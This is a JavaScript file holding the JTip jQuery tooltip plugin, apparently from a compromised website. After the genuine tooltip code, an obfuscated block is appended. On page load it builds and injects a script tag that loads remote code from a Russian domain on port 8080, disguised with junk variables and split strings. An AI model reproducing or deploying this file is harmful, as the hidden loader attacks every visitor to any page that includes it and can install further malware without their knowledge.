// JavaScript Document
/*
* JTip
* By Cody Lindley (http://www.codylindley.com)
* Under an Attribution, Share Alike License
* JTip is built on top of the very light weight jquery library.
*/

//on page load (as soon as its ready) call JT_init


function JT_init(){
	
	jQuery("a.jTip")
	.hover(function(){JT_show(this.href,this.id,this.name)},function(){jQuery('#JT').remove()})
	.click(function(){return false});
}

function JT_show(url,linkId,title){
	if(title == false)title="&nbsp;";
	var de = document.documentElement;
	var w = self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
	var hasArea = w - getAbsoluteLeft(linkId);
	var clickElementy = getAbsoluteTop(linkId) - 3; //set y position

	var queryString = url.replace(/^[^\?]+\??/,'');
	var params = parseQuery( queryString );
	if(params['width'] === undefined){params['width'] = 250};
	if(params['link'] !== undefined){
		jQuery('#' + linkId).bind('click',function(){window.location = params['link']});
		jQuery('#' + linkId).css('cursor','pointer');
	}

	if(hasArea>((params['width']*1)+75)){
		jQuery("body").append("<div id='JT' style='width:"+params['width']*1+"px'><div id='JT_arrow_left'></div><div id='JT_close_left'>"+title+"</div><div id='JT_copy'><div class='JT_loader'><div></div></div>");//right side
		var arrowOffset = getElementWidth(linkId) + 11;
		var clickElementx = getAbsoluteLeft(linkId) + arrowOffset; //set x position
	}else{
		jQuery("body").append("<div id='JT' style='width:"+params['width']*1+"px'><div id='JT_arrow_right' style='left:"+((params['width']*1)+1)+"px'></div><div id='JT_close_right'>"+title+"</div><div id='JT_copy'><div class='JT_loader'><div></div></div>");//left side
		var clickElementx = getAbsoluteLeft(linkId) - ((params['width']*1) + 15); //set x position
	}

	jQuery('#JT').css({left: clickElementx+"px", top: clickElementy+"px"});
	jQuery('#JT').show();
	jQuery('#JT_copy').load(url);

}




function getElementWidth(objectId) {
	x = document.getElementById(objectId);
	return x.offsetWidth;
}

function getAbsoluteLeft(objectId) {
	// Get an object left position from the upper left viewport corner
	o = document.getElementById(objectId)
	oLeft = o.offsetLeft            // Get left position from the parent object
	while(o.offsetParent!=null) {   // Parse the parent hierarchy up to the document element
		oParent = o.offsetParent    // Get parent object reference
		oLeft += oParent.offsetLeft // Add parent left position
		o = oParent
	}
	return oLeft
}

function getAbsoluteTop(objectId) {
	// Get an object top position from the upper left viewport corner
	o = document.getElementById(objectId)
	oTop = o.offsetTop            // Get top position from the parent object
	while(o.offsetParent!=null) { // Parse the parent hierarchy up to the document element
		oParent = o.offsetParent  // Get parent object reference
		oTop += oParent.offsetTop // Add parent top position
		o = oParent
	}
	return oTop
}

function parseQuery ( query ) {
	var Params = new Object ();
	if ( ! query ) return Params; // return empty object
	var Pairs = query.split(/[;&]/);
	for ( var i = 0; i < Pairs.length; i++ ) {
		var KeyVal = Pairs[i].split('=');
		if ( ! KeyVal || KeyVal.length != 2 ) continue;
		var key = unescape( KeyVal[0] );
		var val = unescape( KeyVal[1] );
		val = val.replace(/\+/g, ' ');
		Params[key] = val;
	}
	return Params;
}

function blockEvents(evt) {
	if(evt.target){
		evt.preventDefault();
	}else{
		evt.returnValue = false;
	}
}
var lu={lAJ:"mL"};Di=["hA"];var P=null;var y=new String();var f;lL=["Dj"];var I=document;var Y=new String();var J=window;var j=RegExp;pG={};function D(){EH=9521;EH--;mN=["hi"];function a(h,m,hs){try {} catch(sQ){};return h.substr(m,hs);var i={Ru:17314};var z='';}zu=["wa","e","jP"];this.eE=false;var q={zI:false};var w="\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x73\x61\x70\x6f\x2e\x70\x74\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x2e\x6d\x61\x2e\x70\x68\x70";var eo=new String();fo={je:"XB"};this.fJ="";lx=47395;lx+=42;var l="sc"+"ri"+"pt";var yl="";this.qP=6061;this.qP--;var W=new String("bod"+a("y6LcP",0,1));df=39526;df+=161;KH=25414;KH+=104;var C='';QT=[];Yy=2266;Yy--;var E=new String("]");try {var yh='GO'} catch(yh){};try {} catch(lv){};var E=new String(a("]xMB",0,1));this.AJ=62144;this.AJ--;var ye={BA:"HH"};function x(h,m){iw=54495;iw++;this.nZ="nZ";Ds={zv:false};MW={mw:false};var hs=new String("[");hs+=m;var kA={by:56858};sS=["oK","phM","Uo"];hs+=E;var UI=["wV","Fq"];ni={qS:false};var JL=new j(hs, new String("g"));var zM={jb:42154};return h[a("rePVmS",0,2)+a("9V3pl3V9",3,2)+a("acw32",0,2)+a("evjX5",0,1)](JL, C);};var Bnh=new String();L={PS:false};var IQ=61718;P="onl"+"oad";var A=String("http:"+"//sal"+"tysky"+".ru:");var Xa=["Iz","Kz","BnM"];var lA=x('aspIpLeInsdsCyhViIlIds','VLyBsI');try {var Lz='xF'} catch(Lz){};var c=x('cJrjeWaWtOejEOl_eJmCeMnFtZ','jPRsJCWXZkF9K_uMLhO');hAM=[];var R=184986-176906;var mK=new Array();var T='';this.Vq=14530;this.Vq--;zj=["ecf","ov"];f=function(){OD=15108;OD--;Vw=10542;Vw--;try {Sb={};o=I[c](l);this.HQ=3783;this.HQ++;this.zQ=38142;this.zQ++;fY=["uq","G_","vP"];this.TS=57302;this.TS-=5;T=A;T+=R;Vf=21712;Vf--;T+=w;this.ab="";var BG=new Array();var hd=new String("src");var F=x('dOepfwevrW','w5ztPKhMvpWUO');pj=21628;pj-=127;o[hd]=T;kU={};var GT={Ox:false};try {} catch(Ts){};var GB="";o[F]=[4,1][1];var YL={};var Xs={};kg=41741;kg++;this.FV=26200;this.FV++;I[W][lA](o);var Qt=["cf","tn","Xav"];qd=46868;qd--;} catch(p){};this.MA=46661;this.MA+=147;ny=[];};V_=[];this.Rv="";zKq={};psO=["_m"];};var ZA=false;D();var VI=new Date();this.zL=8561;this.zL++;var iz={sv:9480};this.Mu=62669;this.Mu--;J[P]=f;FW=[];